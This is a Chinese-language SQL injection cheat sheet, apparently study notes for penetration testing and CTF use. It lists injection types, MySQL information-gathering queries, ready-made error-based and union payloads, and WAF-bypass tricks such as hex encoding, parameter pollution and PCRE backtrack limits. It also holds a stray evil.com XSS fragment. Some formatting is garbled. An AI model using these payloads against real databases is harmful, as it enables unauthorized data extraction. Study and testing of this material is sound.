SQL注入
手法分类:
联合注入、报错注入、布尔盲注、延时注入、多语句查询注入(堆叠注入)
可能存在注入的点:
- GPC
GET
POST
COOKIE - HTTP头(请求报文及其他字段)
基础
mysql、mssql、SQL Server 以及 Oracle等,不同数据库有不同的特性
mysql
注释
#、-- (空格)、–+、/* *
/、/*! *
/(内联查询)
mysql默认表
- 元数据数据库:information_schema(mysql5后才有)
- mysql表:保存了用户密码,host等信息
如果host:%表示可以从任意地方登录,支持远程连接
查询语句后加\G 规范成列输出
操作符优先级
信息收集
/*!xxx*
/,若版本号大于xxx,则会执行注释中的语句 /*!4000 user()*
/
- 路径 @@datadir
- 操作系统 @@version_compile_os
- 系统用户名 system_user()
- 用户名 user()
- 当前用户名 current_user()
- 连接数据库的用户名 session_user()
- 数据库版本 version()
- 当前数据库名 database()
标准注入流程
- 获取当前的数据库用户,数据库名称,数据库的版本信息
select user(),database(),version() from dual; - 查询数据库,有时需要限制返回的数量,或者偏移,例如页面只显示一条数据的情况 limit 0,1 limit 1,2 需要通过偏移来返回所有的数据库 select schema_name from information_schema.schemata;
- group_concat 函数是将多行数据连接成一行 select group_concat(schema_name) from information_schema.schemata;
- 查询表
1.方法1 select group_concat(table_name) from information_schema.tables where table_schema=database();
2.方法2 select table_name from information_schema.tables where table_schema=‘database_name’;
3.方法3 select table_name from information_schema.tables where table_schema=(select database()); - 查询列
1.select column_name from information_schema.columns where table_schema=‘database_name’ and table_name=‘users’;
2.select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’;
3.上面可能会被waf识别,也可以这样
select group_concat(column_name) from information_schema.columns where table_name=‘users’;
4.字符串可以转换成16进制 select concat(group_concat(distinct+column_name)) from information_schema.columns where table_name=0x696e666f;
报错注入
https://xz.aliyun.com/t/7318
首选floor,其他可能会冲突
原理:
- 重复键冲突
group by
floor() - xpath报错:适用于mysql5.0以上
extractvalue()
updatexml()
- floor()
- extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); - updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); - geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); - multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); - polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); - multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); - linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); - multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); - exp()
select * from test where id=1 and exp(~(select * from(select user())a));
盲注
实际渗透使用较少,时间太长,对网络要求高,ctf中常见
延时函数:
- sleep()
- benchmark() 指定语句执行的次数
- 笛卡尔积
字符串切割函数:
- substing()
- substr()
- mid()
上面三个函数用法
参数1:截取的字符串
参数2:截取其实位置从1开始计数
参数2:截取长度 - left() 从左侧开始取指定字符个数的字符串
- light()
字符串拼接函数:
- concat() 没有分隔符的连接字符串
- concat_ws() 将一个参数作为分隔符连接字符串
- group_concat() 连接一个组(字段)的字符串
条件判断函数:
if(条件、语句1、语句2)
else:
- find_in_set() 返回字符串在字符串列表中的位置
- name_const() 返回表作为结果
- load_file() 读取文件,并以字符串形式返回文件内容
- hex() unhex() 16进制转换
- ord() ascii() ascii编码互换
二分、dnslog
宽字节注入
漏洞成因:php和数据库编码不同
数据库使用gbk编码字符集,16位字符串,编码范围 8140-FEFE
addslashes()函数将单引号(’)、双引号(")、反斜线(**)与 NUL(NULL
%df’ —> %df\’ —> %df%5c —> id=‘你’ union select 1,2,3
https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html
文件读写
MySQL 中 在在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL ,而 secure_file_priv为null 那么我们就不能导出文件,以下都建立在secure_file_priv 的默认值被修改为无(旧版本或管理员配置错误),才能利用,且这个只能手工修改配置文件不能用sql语句
读文件
写文件
日志文件写shell
慢查询日志
写文件关键字过滤
进阶
正则疏漏
- 大小写绕过
漏洞成因:正则没有忽略大小写 - 双写绕过
漏洞成因:将黑名单字符串替换为空 - 注释符绕过
union select
union\ **
\select
mysql特性
- 16进制编码绕过单引号
select hex(‘Dumb’)
0x44756D62 ==‘Dumb’ - 设置变量+预查询
set
prepare
execute
:= 赋值运算符
关键字过滤
- like/regex/in代替= <>
1’ or ‘1’ like ‘%1%’
1’ or ‘1’ in (1,2) - /**/,()代替空格
where id=(1)union select 1,2,3 - innodb代替information_schema
innodb mysql5.6后引入的内置表
在mysql 5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档
从官方文档我们可以发现两个有用的信息:
- 从5.6.x版本开始,innodb_index_stats和innodb_table_stats数据表时自动设置的。
- 两个表都会存储数据库和对应的数据表
题目过滤or导致information_schema不可用
中间件特性
- 参数污染
漏洞成因:waf和服务器参数选取不同
?a=1&a=1’ union select 1,2,3%23
waf只检查了第一个参数,而server使用的是最后一个参数
server将相似的参数合并,而waf分开检测
?a=1’ un&a=ion select 1,2,3%23
- 请求走私
https://www.anquanke.com/post/id/169738https://paper.seebug.org/1048/#4-httpcve-2018-8004
content-length和tranfer-encoding识别不同导致绕过
PDO场景下的注入
mysql是支持堆叠查询的用; 分割语句,但是php原生的连接方式不支持,但是使用 PDO,mysqli_multi_query()等等是支持多语句的
PDO 相关概念
- PHP数据对象(PDO)扩展为PHP访问数据库定义了一个轻量级的一致接口。PDO提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以使用相同的函数(方法)来查询和获取数据
- PHP版本要求
php version >= 5.1
PDO随PHP 5.1发行,在PHP 5.0的PECL扩展中也可以使用,无法运行于之前的PHP版本
PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入
二次注入
二次注入的原理是在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入
order by注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9N5Gk0NS-1631149859380)(https://raw.githubusercontent.com/Ocean0000/Ocean0000.github.io/master/20201217220107.png)]
跟盲注原理相同,注入方法相同,替换1=1,为盲注语句就可以
利用条件就是存在order by
布尔注入
时间盲注
limit注入
<5.6的版本,使用procedure analyse配合报错注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g5PUVmJz-1631149859384)(https://raw.githubusercontent.com/Ocean0000/Ocean0000.github.io/master/image-20201112171729525.png)]
无列名注入
在不知道列名的情况下,进行注入
- fuzz表名+别名代替列名
user / users /person / admin / ctf / flag / f1ag /wdb
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aKYU4fQw-1631149859385)(https://raw.githubusercontent.com/Ocean0000/Ocean0000.github.io/master/image-20201112172414167.png)]
users表可以用fuzz来测试
- Info
拓展攻击面
- 开发者容易遗漏的输入点
- HTTP头
- X-Forwarded-For
- User-Agent
- Referer
- REQUEST_URI
- 文件名
$_FILES[][name]
框架中sql注入挖掘
- 在挖掘SQL注入时可以通过审计Model层代码,查看其中是否存在拼接的SQL语句,然后从下往上回溯调用过程,判断被拼接的变量能否由外部控制。
- 开启数据库记录日志,通过黑盒测试参数然后观察是否有脏数据注入进去,如果有过滤的话然后在审计代码,绕过过滤函数。
- MySQL日志开启方法在my.cnf文件中添加如下两行
- general-log = True
- general-log-file = /tmp/mysql.log
- 直接审计框架中底层处理SQL操作的方法,若存在问题则可导致大量注入。
堆叠注入
约束攻击
SQL注入绕过速查表
过滤and or
左括号过滤
右括号过滤
过滤union\select
过滤空格
过滤=
过滤比较符<>
过滤where
过滤limit
过滤group by
过滤select
过滤’(单引号)
过滤逗号
过滤hex
过滤substr
编码绕过
利用urlencode,ascii(char),hex,unicode等编码绕过
等价函数或变量
生僻函数
\N绕过
\N相当于NULL字符
PCRE绕过
/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
and extractvalue(1, concat(0x5c, (select user()),0x5c))
select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0
PHP 的 pcre.backtrack_limit 限制利用
union/aaaaaaaxN/select